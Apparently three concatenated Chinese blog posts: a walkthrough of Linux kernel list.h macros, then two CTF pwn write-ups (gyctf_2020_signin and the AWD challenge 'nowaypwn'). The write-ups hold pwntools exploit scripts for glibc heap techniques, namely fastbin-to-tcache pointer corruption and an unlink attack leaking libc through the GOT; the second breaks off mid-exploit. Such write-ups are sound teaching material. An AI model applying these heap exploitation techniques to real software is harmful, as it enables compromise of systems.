在用户态编程的时候，开发者们常把无效的指针置为 NULL 防止出现 Use After Free(UAF) 等问题的出现，一旦访问置为 NULL 的指针就能通过 Segment fault 得知发生了错误．但别忘了，Segment fault的检查是由内核完成的，在内核态编程时，自然是无法使用的．因此这里使用这两个特殊的地址触发分页保护告知开发者出现内存错误．

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

/*
 * Architectures might want to move the poison pointer offset
 * into some well-recognized area such as 0xdead000000000000,
 * that is also not mappable by user-space exploits:
 */
#ifdef CONFIG_ILLEGAL_POINTER_VALUE
# define POISON_POINTER_DELTA _AC(CONFIG_ILLEGAL_POINTER_VALUE, UL)
#else
# define POISON_POINTER_DELTA 0
#endif

/*
 * These are non-NULL pointers that will result in page faults
 * under normal circumstances, used to verify that nobody uses
 * non-initialized list entries.
 */
#define LIST_POISON1  ((void *) 0x00100100 + POISON_POINTER_DELTA)
#define LIST_POISON2  ((void *) 0x00200200 + POISON_POINTER_DELTA)

剩下的部分虽然也有很多内容，但都比较简单，相对来说也是易于理解的，Y7n05h 在这里就不赘述了．

这个宏函数还是很有趣的，能看到里面有很多 GNU 对 C 语言的扩展语法．直接从定义中看明白这个宏的用法是略有困难的，参考这个宏的用例将有助于理解．

1
2
3
4
5
6
7
8

/**
 * list_entry - get the struct for this entry
 * @ptr:	the &struct list_head pointer.
 * @type:	the type of the struct this is embedded in.
 * @member:	the name of the list_struct within the struct.
 */
#define list_entry(ptr, type, member) \
	container_of(ptr, type, member)

1
2
3
4
5
6
7
8
9
10

/**
 * container_of - cast a member of a structure out to the containing structure
 * @ptr:	the pointer to the member.
 * @type:	the type of the container struct this is embedded in.
 * @member:	the name of the member within the struct.
 *
 */
#define container_of(ptr, type, member) ({			\
	const typeof( ((type *)0)->member ) *__mptr = (ptr);	\
	(type *)( (char *)__mptr - offsetof(type,member) );})

用例：

1
2
3
4
5

static inline struct nfs_page *
nfs_list_entry(struct list_head *head)
{
	return list_entry(head, struct nfs_page, wb_list);
}

1
2
3
4
5
6
7
8
9
10
11
12
13

struct nfs_page {
	struct list_head	wb_list;	/* Defines state of page: */
	struct page		*wb_page;	/* page to read in/write out */
	struct nfs_open_context	*wb_context;	/* File state context info */
	atomic_t		wb_complete;	/* i/os we're waiting for */
	pgoff_t			wb_index;	/* Offset >> PAGE_CACHE_SHIFT */
	unsigned int		wb_offset,	/* Offset & ~PAGE_CACHE_MASK */
				wb_pgbase,	/* Start of page data */
				wb_bytes;	/* Length of request */
	struct kref		wb_kref;	/* reference count */
	unsigned long		wb_flags;
	struct nfs_writeverf	wb_verf;	/* Commit cookie */
};

可以清晰的看到在 struct nfs_page 中，链表结点是 struct list_head wb_list．

而 head 是指向 container_of 到底做了什么呢？那就是根据结构体中的成员的地址，计算出结构体的地址．首先，抛开代码考虑这件事情，在给定结构体在确定体系结构上使用确定对齐方式，那么结构体成员相对结构体的偏移量就是一个编译期能确定的常量．那么若有了结构体成员的地址，那么减去相应的偏移量即可得到结构体的地址．这一切在理论上都是可行的，剩下的事只是如何用代码实现．

其次，分析 container_of 的代码实现：

1

const typeof( ((type *)0)->member ) *__mptr = (ptr);

这里使用 typeof 进行类型推断，实现范型编程，声明获得与 member 相同的类型，并添加 * 获得 member 的指针类型．通过这一行，获得了指向结构体成员的指针．同时利用 (type *)( (char *)__mptr - offsetof(type,member) ) 根据 offsetof 关键字获得 member 在 type 中的偏移量，并使用指针运行将其从结构体成员的地址中减去．
最后则是使用 GNU 扩展的语句表达式语法，避免了需要将宏函数用 do{...}while(0) 包裹的麻烦事．
这些内容足够简单，但宏的运用与衔接十分精妙．

最后在谈谈

1
2
3
4
5
6
7
8

/**
 * list_for_each	-	iterate over a list
 * @pos:	the &struct list_head to use as a loop cursor.
 * @head:	the head for your list.
 */
#define list_for_each(pos, head) \
	for (pos = (head)->next; prefetch(pos->next), pos != (head); \
        	pos = pos->next)

1
2
3

#ifndef ARCH_HAS_PREFETCH
#define prefetch(x) __builtin_prefetch(x)
#endif

这里的遍历没什么好提及的，唯一想说说的地方只是 prefetch．prefetch 也就是 __builtin_prefetch 看名字不难发现这是 GCC 的内置函数．查一下就能得知这是用来预读数据减少延迟的函数．大概就是防止后面用这个数据的时候出现缓存不命中吧．

好了，本文到此也就结束了．list.h 的别的部分 Y7n05h 认为也没有什么难以理解的内容了．

参考资料

¹. LinuxKernel. ↩

info
License
本文引用了部分来自 GNU C Library 的源码，源码取自 GNU C Library 基于 LGPLv2.1．

注：本题目的运行环境使用的 glibc 为 2.27-3ubuntu1_amd64，但本文中展示的所有 glibc 代码为 2.34．

WriteUp-gyctf_2020_signin

看到本文的各位师傅，请允许 Y7n05h 又翻出这段各位都熟悉无比的代码．能够发现从非空的 tcache 中取出 chunk 是在 __libc_malloc() 中完成的，而非在 _int_malloc_() 中．

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63

void *
__libc_malloc (size_t bytes)
{
  mstate ar_ptr;
  void *victim;

  _Static_assert (PTRDIFF_MAX <= SIZE_MAX / 2,
                  "PTRDIFF_MAX is not more than half of SIZE_MAX");

  if (!__malloc_initialized)
    ptmalloc_init ();
#if USE_TCACHE
  /* int_free also calls request2size, be careful to not pad twice.  */
  size_t tbytes;
  if (!checked_request2size (bytes, &tbytes))
    {
      __set_errno (ENOMEM);
      return NULL;
    }
  size_t tc_idx = csize2tidx (tbytes);

  MAYBE_INIT_TCACHE ();

  DIAG_PUSH_NEEDS_COMMENT;
  if (tc_idx < mp_.tcache_bins
      && tcache
      && tcache->counts[tc_idx] > 0)
    {
      victim = tcache_get (tc_idx);
      return tag_new_usable (victim);
    }
  DIAG_POP_NEEDS_COMMENT;
#endif

  if (SINGLE_THREAD_P)
    {
      victim = tag_new_usable (_int_malloc (&main_arena, bytes));
      assert (!victim || chunk_is_mmapped (mem2chunk (victim)) ||
	      &main_arena == arena_for_chunk (mem2chunk (victim)));
      return victim;
    }

  arena_get (ar_ptr, bytes);

  victim = _int_malloc (ar_ptr, bytes);
  /* Retry with another arena only if we were able to find a usable arena
     before.  */
  if (!victim && ar_ptr != NULL)
    {
      LIBC_PROBE (memory_malloc_retry, 1, bytes);
      ar_ptr = arena_get_retry (ar_ptr, bytes);
      victim = _int_malloc (ar_ptr, bytes);
    }

  if (ar_ptr != NULL)
    __libc_lock_unlock (ar_ptr->mutex);

  victim = tag_new_usable (victim);

  assert (!victim || chunk_is_mmapped (mem2chunk (victim)) ||
          ar_ptr == arena_for_chunk (mem2chunk (victim)));
  return victim;
}

再看 __libc_calloc()：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141

void *
__libc_calloc (size_t n, size_t elem_size)
{
  mstate av;
  mchunkptr oldtop;
  INTERNAL_SIZE_T sz, oldtopsize;
  void *mem;
  unsigned long clearsize;
  unsigned long nclears;
  INTERNAL_SIZE_T *d;
  ptrdiff_t bytes;

  if (__glibc_unlikely (__builtin_mul_overflow (n, elem_size, &bytes)))
    {
       __set_errno (ENOMEM);
       return NULL;
    }

  sz = bytes;

  if (!__malloc_initialized)
    ptmalloc_init ();

  MAYBE_INIT_TCACHE ();

  if (SINGLE_THREAD_P)
    av = &main_arena;
  else
    arena_get (av, sz);

  if (av)
    {
      /* Check if we hand out the top chunk, in which case there may be no
	 need to clear. */
#if MORECORE_CLEARS
      oldtop = top (av);
      oldtopsize = chunksize (top (av));
# if MORECORE_CLEARS < 2
      /* Only newly allocated memory is guaranteed to be cleared.  */
      if (av == &main_arena &&
	  oldtopsize < mp_.sbrk_base + av->max_system_mem - (char *) oldtop)
	oldtopsize = (mp_.sbrk_base + av->max_system_mem - (char *) oldtop);
# endif
      if (av != &main_arena)
	{
	  heap_info *heap = heap_for_ptr (oldtop);
	  if (oldtopsize < (char *) heap + heap->mprotect_size - (char *) oldtop)
	    oldtopsize = (char *) heap + heap->mprotect_size - (char *) oldtop;
	}
#endif
    }
  else
    {
      /* No usable arenas.  */
      oldtop = 0;
      oldtopsize = 0;
    }
  mem = _int_malloc (av, sz);

  assert (!mem || chunk_is_mmapped (mem2chunk (mem)) ||
          av == arena_for_chunk (mem2chunk (mem)));

  if (!SINGLE_THREAD_P)
    {
      if (mem == 0 && av != NULL)
	{
	  LIBC_PROBE (memory_calloc_retry, 1, sz);
	  av = arena_get_retry (av, sz);
	  mem = _int_malloc (av, sz);
	}

      if (av != NULL)
	__libc_lock_unlock (av->mutex);
    }

  /* Allocation failed even after a retry.  */
  if (mem == 0)
    return 0;

  mchunkptr p = mem2chunk (mem);

  /* If we are using memory tagging, then we need to set the tags
     regardless of MORECORE_CLEARS, so we zero the whole block while
     doing so.  */
  if (__glibc_unlikely (mtag_enabled))
    return tag_new_zero_region (mem, memsize (p));

  INTERNAL_SIZE_T csz = chunksize (p);

  /* Two optional cases in which clearing not necessary */
  if (chunk_is_mmapped (p))
    {
      if (__builtin_expect (perturb_byte, 0))
        return memset (mem, 0, sz);

      return mem;
    }

#if MORECORE_CLEARS
  if (perturb_byte == 0 && (p == oldtop && csz > oldtopsize))
    {
      /* clear only the bytes from non-freshly-sbrked memory */
      csz = oldtopsize;
    }
#endif

  /* Unroll clear of <= 36 bytes (72 if 8byte sizes).  We know that
     contents have an odd number of INTERNAL_SIZE_T-sized words;
     minimally 3.  */
  d = (INTERNAL_SIZE_T *) mem;
  clearsize = csz - SIZE_SZ;
  nclears = clearsize / sizeof (INTERNAL_SIZE_T);
  assert (nclears >= 3);

  if (nclears > 9)
    return memset (d, 0, clearsize);

  else
    {
      *(d + 0) = 0;
      *(d + 1) = 0;
      *(d + 2) = 0;
      if (nclears > 4)
        {
          *(d + 3) = 0;
          *(d + 4) = 0;
          if (nclears > 6)
            {
              *(d + 5) = 0;
              *(d + 6) = 0;
              if (nclears > 8)
                {
                  *(d + 7) = 0;
                  *(d + 8) = 0;
                }
            }
        }
    }

  return mem;
}

相信各位都能发现 __libc_calloc() 和 __libc_malloc() 的差别是很小的，通常情况下将 __libc_calloc() 视为 __libc_malloc() + memset() 是合理的．但除此之外还有一点区别是 __libc_calloc() 中缺少从非空的 tcache 取出 chunk 的部分，因此 calloc() 将优先从 fastbin 中分配 chunk．

这也是本题目的利用的核心思路．

错误思路-tcache poisoning

Y7n05h 刚开始也是想采用 tcache poisoning 来完成本题，并寄希望与 free/malloc 的过程中能清除 cnt 实现第二次 edit．但很遗憾，此路并不通．通过此方式虽能将 chunk 分配在 ptr 上，但无法修改 ptr 的值．（至少 Y7n05h 没想到）

正确思路

此方式是从 Pwnki 师傅 的博客学来的．在这里感谢 Pwnki 师傅 师傅．

利用思路：

1. 分配 8 个大小为 0x80 的 chunk 后全部 free，前 7 个塞满了 tcache，后一个进入 fastbin
2. 在分配一个 chunk，这将从 tcache 中取出一个 chunk
3. 修改在 1 中放入的 fastbin 中的 chunk 的 fd 的指针为 ptr - 0x10，注意这个行为使 glibc 认为 ptr - 0x10 是一个 chunk，则 ptr 则是这个 chunk 的 fd
4. 通过执行 backdoor，调用 calloc 从 fastbin 取出 chunk 并将其 fd 指向的 ptr - 0x10 作为一个 chunk 插入 tcache 链表．插入过程中 ptr 将作为 tcache_entry 的 next 字段被修改．

这些过程的相关代码：

1
2
3
4
5
6

typedef struct tcache_entry
{
  struct tcache_entry *next;
  /* This field exists to detect double frees.  */
  uintptr_t key;
} tcache_entry;

1
2
3
4
5
6
7
8
9
10
11
12

#define REMOVE_FB(fb, victim, pp)			\
  do							\
    {							\
      victim = pp;					\
      if (victim == NULL)				\
	break;						\
      pp = REVEAL_PTR (victim->fd);                                     \
      if (__glibc_unlikely (pp != NULL && misaligned_chunk (pp)))       \
	malloc_printerr ("malloc(): unaligned fastbin chunk detected"); \
    }							\
  while ((pp = catomic_compare_and_exchange_val_acq (fb, pp, victim)) \
	 != victim);					\

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24

     /* While we're here, if we see other chunks of the same size,
 stash them in the tcache.  */
     size_t tc_idx = csize2tidx (nb);
     if (tcache && tc_idx < mp_.tcache_bins)
{
  mchunkptr tc_victim;

  /* While bin not empty and tcache not full, copy chunks.  */
  while (tcache->counts[tc_idx] < mp_.tcache_count
	 && (tc_victim = *fb) != NULL)
    {
      if (__glibc_unlikely (misaligned_chunk (tc_victim)))
	malloc_printerr ("malloc(): unaligned fastbin chunk detected 3");
      if (SINGLE_THREAD_P)
	*fb = REVEAL_PTR (tc_victim->fd);
      else
	{
	  REMOVE_FB (fb, pp, tc_victim);
	  if (__glibc_unlikely (tc_victim == NULL))
	    break;
	}
      tcache_put (tc_victim, tc_idx);
    }
}

完整 exp：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42

from pwn import *
path = '/home/admin/Downloads/gyctf_2020_signin'
elf = ELF(path)
r = process(path)


def i2b(n: int, Hex: bool = False):
    return bytes(hex(n) if Hex else str(n), encoding="ascii")


def backdoor():
    r.sendafter(b"?", b'6')


def add(idx: int):
    r.sendafter(b"?", b'1')
    r.sendafter(b"idx?\n", i2b(idx))


def delete(idx: int):
    r.sendafter(b"?", b'3')
    r.sendafter(b"idx?\n", i2b(idx))


def edit(idx: int, content: bytes):
    r.sendafter(b"?", b'2')
    r.sendafter(b"idx?\n", i2b(idx))
    r.send(content)


addr = elf.symbols['ptr']-0x10
for i in range(8):
    add(i)
for i in range(8):
    delete(i)

add(8)
payload = p64(addr)
edit(7, payload)

backdoor()
r.interactive()

参考资料

¹. Pwnki-gyctf_2020_signin. ↩

². PYozo_free-gyctf_2020_signin. ↩

Y7n05h 非常激动能有机会（虽然是以替补的身份）参加长安杯 2021 决赛．这是 Y7n05h 第一次参加 CTF 线下赛，因为缺少经验，Y7n05h 犯了不少错误．在本文中，Y7n05h 将复盘比赛时的行为．
同时也感谢「摸一把」战队的大师傅，指出了 Y7n05h 的指点．
在 AWD 赛制中，Y7n05h 对没有做出这道 nowaypwn 十分的遗憾．

现在就让 Y7n05h 重新审视一下这道题目，看看它究竟考察了什么吧．

warning
免责声明

本文所述 PWN 均属 CTF（Capture The Flag）参赛行为或赛前训练行为．笔者所 PWN 的对象均为 CTF 比赛或练习中平台方提供的靶机．
本文意在分享网络安全与 CTF 相关技术与技巧，共同提升实力．
请本文读者谨记相关法律法规与政策．读者需为自身行为承担相应的法律后果．笔者（Y7n05h）不为读者的行为承担责任．

基本分析

1
2
3
4
5
6
7
8
9
10
11
12
13

pwn/nowaypwn
filetype: ELF64
arch: AMD64
mode: 64 bits
endianess: LE
type: EXEC
  library: GLIBC(2.4)[EXEC AMD64-64]
  compiler: gcc((Ubuntu 5.3.1-14ubuntu2) 5.3.1 20160413)[EXEC AMD64-64]
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH	Symbols		FORTIFY	Fortified	Fortifiable	FILE
Partial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   No Symbols	 No	0		2	/home/admin/pwn/nowaypwn
	linux-vdso.so.1 (0x00007ffc85dee000)
	libc.so.6 => /usr/lib/libc.so.6 (0x00007fd505212000)
	/lib64/ld-linux-x86-64.so.2 => /usr/lib64/ld-linux-x86-64.so.2 (0x00007fd5053fd000)

题目提供的 libc 附件的版本是 2.23-0ubuntu11.3_amd64，SHA-1 为：eb4e85135a8dfe60c1f5bfb704b1e5cfde24a0b8（大概是这个，文件弄乱了，Y7n05h 对此不是非常确定）．

逆向工程分析

虽说这是一道 PWN 题，但在 Y7n05h 看来这道题的最重要的部分不是 PWN，而是逆向工程．本题的 PWN 部分十分简单，出题人在逆向工程部分设下了多个障碍．下面就听 Y7n05h 逐一说明．

下面是 IDA 生成的伪码．

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66

__int64 __fastcall sub_400BFD(unsigned int *a1)
{
  __int64 result; // rax
  int i; // [rsp+1Ch] [rbp-3Ch]
  unsigned int v3; // [rsp+20h] [rbp-38h]
  unsigned int v4; // [rsp+24h] [rbp-34h]
  unsigned int v5; // [rsp+28h] [rbp-30h]
  int v6[6]; // [rsp+38h] [rbp-20h]
  unsigned __int64 v7; // [rsp+50h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  v6[0] = 674697780;
  v6[1] = 422065475;
  v6[2] = 423118625;
  v6[3] = -1741216238;
  v3 = *a1;
  v4 = a1[1];
  v5 = 0;
  for ( i = 0; i <= 31; ++i )
  {
    v3 += (((v4 >> 5) ^ (16 * v4)) + v4) ^ (v6[v5 & 3] + v5);
    v5 -= 1640531527;
    v4 += (((v3 >> 5) ^ (16 * v3)) + v3) ^ (v6[(v5 >> 11) & 3] + v5);
  }
  *a1 = v3;
  result = v4;
  a1[1] = v4;
  return result;
}
_BOOL8 __fastcall sub_400DB8(_BYTE *a1)
{
  sub_400BFD(a1);
  return *a1 == 20
      && a1[1] == 92
      && a1[2] == 0xA6
      && a1[3] == 0xD2
      && a1[4] == 14
      && a1[5] == 69
      && a1[6] == 9
      && a1[7] == 119;
}
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  __int64 result; // rax
  char v4[16]; // [rsp+18h] [rbp-50h] BYREF
  char buf[16]; // [rsp+28h] [rbp-40h] BYREF
  char v6[40]; // [rsp+38h] [rbp-30h] BYREF
  unsigned __int64 v7; // [rsp+60h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  sub_40091D(a1, a2, a3);
  puts("Happy to see you darling!");
  puts("Give me your name:");
  read(0, buf, 0x10uLL);
  puts("Give me your key:");
  read(0, v4, 0x20uLL);
  puts("Now start the game!");
  do
  {
    puts("Input your password!:");
    read(0, v6, 0x2CuLL);
    result = sub_400DB8(v6);
  }
  while ( (_DWORD)result != 1 );
  return result;
}

Y7n05h 在伪码中没有找到任何漏洞．

难道这是个栈题，漏洞存在于 sub_400BFD() 里面吗？

通过 IDA 插件 Findcrypt 得到 TEA_DELTA_400C64 的内容．通过搜索引擎得知 TEA 加密算法．

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28

uint32_t delta = 0x9e3779b9;//常数 可更改

void tea_encrypt(uint32_t s[2], const uint32_t key[4]) {


    uint32_t l = s[0];
    uint32_t r = s[1];
    uint32_t sum = 0;
    for (int i = 0; i < 32; ++i) {
        l += (((r >> 5) ^ (r << 4)) + r) ^ (key[sum & 3] + sum);
        sum += delta;
        r += (((l >> 5) ^ (l << 4)) + l) ^ (key[(sum >> 11) & 3] + sum);
    }
    s[0] = l;
    s[1] = r;
}
void tea_decrypt(uint32_t v[2], const uint32_t key[4]) {
    uint32_t l = v[0], r = v[1];

    uint32_t sum = delta << 5;
    for (int i = 0; i < 32; i++) {
        r -= (((l << 4) ^ (l >> 5)) + l) ^ (sum + key[(sum >> 11) & 3]);
        sum -= delta;
        l -= (((r << 4) ^ (r >> 5)) + r) ^ (sum + key[sum & 3]);
    }
    v[0] = l;
    v[1] = r;
}

通过，对比 tea_encrypt() 与 sub_400BFD()，Y7n05h 认为 sub_400BFD() 就是使用 TEA 算法加密一个 64 bits 的分组的函数．

噢，或许会有读者觉得：

在 tea_encrypt() 中是：

1

sum += delta;

在 sub_400BFD() 中是：

1

v5 -= 1640531527;

这两处不但数值不同，而且一处为加法，一处为减法，怎么能说 sub_400BFD() 和 tea_encrypt() 等价呢？

有这样的顾虑的读者，请别忘了，有符号整形采用二进制补码存储，因此减去 1640531527 也就是加上 0x9e3779b9.

因此，Y7n05h 认为这两个函数完全等价（这个结论在当前是正确的），也就是说 sub_400BFD() 是 TEA 加密算法的一种实现，那么就能得知 sub_400BFD() 加密的内容可用 tea_decrypt() 解密．

先别急着去解密密文，别忘了这是 PWN 题，不是逆向题，那么漏洞在哪里呢？Y7n05h 并没有找到．

在紧张的 AWD 比赛中，Y7n05h 对此题没有更多的进展了．在 Y7n05h 发现自己做不出此题后，Y7n05h 决定先开始防御．Y7n05h 写出了下面的代码：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

#include <stdio.h>
#include <unistd.h>
int main(void) {
    setvbuf(stderr, NULL, _IONBF, 0);
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    char buf[0x50];
    puts("Happy to see you darling!");
    puts("Give me your name:");
    read(0, buf, 0x10uLL);
    puts("Give me your key:");
    read(0, buf, 0x20uLL);
    puts("Now start the game!");
    do {
        puts("Input your password!:");
        read(0, buf, 0x2CuLL);
    } while (1);
}

为了防止别的队伍 PWN 掉 Y7n05h 的靶机，Y7n05h 编译了上面的代码，替换了靶机中的程序．Y7n05h 看了看比赛平台上并未将靶机判为宕机状态，于是 Y7n05h 知道这样的改动通过了 check.（「摸一把」战队的大师傅在赛后告诉 Y7n05h 这是比赛方设置的 check 过于宽松，在多数的比赛中 check 将检查原程序与靶机上运行的程序的大小差异，差异过大不能通过 check）Y7n05h 这样的改动通过了 checks 纯属侥幸，请各位读者 不要 学习．

那么使用密钥（v6 的前 128 bits，也就是下面的 key）:

1
2
3
4
5

uint32_t key[4] =
        {0x28371234,
         0x19283543,
         0x19384721,
         0x98372612};

解密密文分组：

1

uint8_t message[9] = {0x14, 0x5c, 0xa6, 0xd2, 0x0e, 0x45, 0x09, 0x77};

通过 pwntools 将得到的明文分组，在程序中输入，得到密码输入错误的提示．

Y7n05h 尝试提取 sub_400BFD() 的伪码修改并编译，输入上面获得的明文分组和密钥，成功的得到了密文分组．
Y7n05h 又去尝试使用 gdb 追踪 sub_400BFD() 的解密过程，发现 sub_400BFD() 结束后，得到了不同于预期的密文分组．

这真是一件令 Y7n05h 感到费解的事！使用 tea_decrypt() 解密密文得到的明文，输入至 tea_encrypt() 或 IDA 中复制出的 sub_400BFD() 能得到相同的密文分组，但若输入至 nowaypwn 程序中，则能得到异于前面的 tea_encrypt() 的输出的密文分组．

这真是奇怪！Y7n05h 开始思考是不是 sub_400BFD() 中是不是存在 C 语言中的 Undefined Behavior 导致了不同的执行结果．

就在 Y7n05h 试图对比通过编译 sub_400BFD() 伪码得到的汇编代码与反汇编 nowaypwn 得到的汇编代码时，发现：

1
2
3
4

.text:0000000000400CF2                 call    $+5
.text:0000000000400CF7                 add     [rsp+58h+var_58], 6
.text:0000000000400CFC                 retn
.text:0000000000400CFC sub_400BFD      endp ; sp-analysis failed

IDA 的报错是因为这里存在花指令，Y7n05h 在这里贴出的部分全都是用于干扰反汇编、反编译工具的花指令，有兴趣知道这些指令为什么能干扰反汇编、反编译工具的读者可以通过 GDB 追踪这三个指令的执行．

通过 IDA 的 patch 功能将这些花指令改为 nop，然后使用 IDA 重新分析程序即可得到完整的 sub_400BFD() 伪码：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46

unsigned __int64 __fastcall sub_400BFD(unsigned int *a1)
{
  int i; // [rsp+14h] [rbp-3Ch]
  int j; // [rsp+14h] [rbp-3Ch]
  unsigned int v4; // [rsp+18h] [rbp-38h]
  unsigned int v5; // [rsp+18h] [rbp-38h]
  unsigned int v6; // [rsp+1Ch] [rbp-34h]
  unsigned int v7; // [rsp+1Ch] [rbp-34h]
  unsigned int v8; // [rsp+20h] [rbp-30h]
  unsigned int v9; // [rsp+20h] [rbp-30h]
  unsigned int v10; // [rsp+24h] [rbp-2Ch]
  unsigned int v11; // [rsp+28h] [rbp-28h]
  int v12[6]; // [rsp+30h] [rbp-20h]
  unsigned __int64 v13; // [rsp+48h] [rbp-8h]

  v13 = __readfsqword(0x28u);
  v10 = *a1;
  v11 = a1[1];
  v12[0] = 674697780;
  v12[1] = 422065475;
  v12[2] = 423118625;
  v12[3] = -1741216238;
  v4 = *a1;
  v6 = a1[1];
  v8 = 0;
  for ( i = 0; i <= 31; ++i )
  {
    v4 += (((v6 >> 5) ^ (16 * v6)) + v6) ^ (v12[v8 & 3] + v8);
    v8 -= 1640531527;
    v6 += (((v4 >> 5) ^ (16 * v4)) + v4) ^ (v12[(v8 >> 11) & 3] + v8);
  }
  *a1 = v4;
  a1[1] = v6;
  v5 = v10;
  v7 = v11;
  v9 = 0;
  for ( j = 0; j <= 8; ++j )
  {
    v5 += (((v7 >> 5) ^ (16 * v7)) + v7) ^ (v12[v9 & 3] + v9);
    v9 += 0x19286521;
    v7 += (((v5 >> 5) ^ (16 * v5)) + v5) ^ (v12[(v9 >> 11) & 3] + v9);
  }
  *a1 = v5;
  a1[1] = v7;
  return __readfsqword(0x28u) ^ v13;
}

通过分析这段伪码就能发现，TEA 算法生成的密文分组并未被使用，程序中真正使用的是另一个加密算法．最终，可知这是 XTEA 算法．
这是 Y7n05h 通过搜索找到的 XTEA 算法实现．

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

#include <stdint.h>
#define delta 0x9E3779B9U//常量 可更改
void encrypt(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4]) {
    uint32_t v0 = v[0], v1 = v[1], sum = 0;
    for (int i = 0; i < num_rounds; i++) {
        v0 += (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);
        sum += delta;
        v1 += (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum >> 11) & 3]);
    }
    v[0] = v0;
    v[1] = v1;
}

void decrypt(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4]) {
    uint32_t v0 = v[0], v1 = v[1], sum = delta * num_rounds;
    for (int i = 0; i < num_rounds; i++) {
        v1 -= (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum >> 11) & 3]);
        sum -= delta;
        v0 -= (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);
    }
    v[0] = v0;
    v[1] = v1;
}

通过对比能确认这里使用的算法就是修改了 delta 常量的 XTEA 算法．

其实不但这里（0x400CF2）有花指令，在 0x400EEE、0x400B44 也有花指令，patch 掉这些花指令之后，使用 IDA 重新生成伪码，就能清晰的看到漏洞所在：

1
2
3
4
5
6
7
8
9
10
11
12
13
14

ssize_t Edit()
{
  ssize_t result; // rax
  unsigned __int64 Idx; // [rsp+8h] [rbp-8h]

  Idx = get_Idx();
  if ( Idx > 0x10 || !Arr[2 * Idx] || !Size[2 * Idx] )
    exit(0);
  read(0, Arr[2 * Idx], Size[2 * Idx]);
  result = Size[2 * Idx];
  if ( result == 0x66 )
    return read(0, Arr[2 * Idx], 0x80uLL);
  return result;
}

这里的溢出过于刻意，相信所有人在 patch 掉这些花指令之后都能十分容易的发现这里的漏洞．

漏洞利用

在得到完整的伪码后，就能知道，本题目使用的加密算法是修改了常数的 XTEA 算法．修改 XTEA 的解密算法的常数后，解密得到：skdmaje1．

根据伪码写出：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53

from pwn import *
context(log_level='debug', os='linux', arch='amd64')

path = '/home/admin/pwn/nowaypwn'
libcpath = '/home/admin/pwn/libc.so.6'

libc = ELF(libcpath)
elf = ELF(path)
r = process(path)

passwd = b'skdmaje1'

r.sendafter(":\n", b'123')  # name
r.sendafter(":\n", b'123')  # key
r.sendafter(":\n", passwd)  # passwd


def up6(addr_port: bytes):
    log.debug("get bytes"+addr_port.hex())
    recvlen = len(addr_port)
    log.debug("recv len "+hex(recvlen))
    assert(recvlen == 6)

    return u64(addr_port.ljust(8, b"\x00"))


def i2b(n: int, Hex: bool = False):
    return bytes(hex(n) if Hex else str(n), encoding="ascii")


def Alloc(size: int):
    r.sendline(b'1')
    r.sendline(i2b(size))


def Delete(idx: int):
    r.sendline(b'2')
    r.sendline(i2b(idx))


def Edit(idx: int, content: bytes):
    r.sendline(b'3')
    r.sendline(i2b(idx))
    r.send(content)


def Show(idx: int):
    r.sendline(b'4')
    r.sendline(i2b(idx))


def Get_pr(idx: int):
    return 0x6020C0+idx*0x10

由于本题并未开启 PIE，Y7n05h 选择使用 Unlink 去完成本题目．

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31

Alloc(0x30)  # 0
Alloc(0x30)  # 1
Alloc(0x66)  # 2
Alloc(0x100)  # 3
Alloc(0x10)  # 4

Edit(0, b'/bin/sh\x00')

Edit(2, cyclic(0x66))
chunk2_pr = Get_pr(2)
payload = flat(0, 0x21, chunk2_pr-0x18, chunk2_pr -
               0x10, 0x20).ljust(0x60)+flat(0x60, 0x110)
r.send(payload)  # size 为 0x66 触发再次读取，产生溢出

# Unlink
Delete(3)

payload = flat(8, elf.got['puts'], 0x8, Get_pr(1), 8)
Edit(2, payload)
r.send(p64(elf.got['puts']))  # size 为 0x66 触发再次读取

Show(1)
puts_addr = up6(r.recv(6))
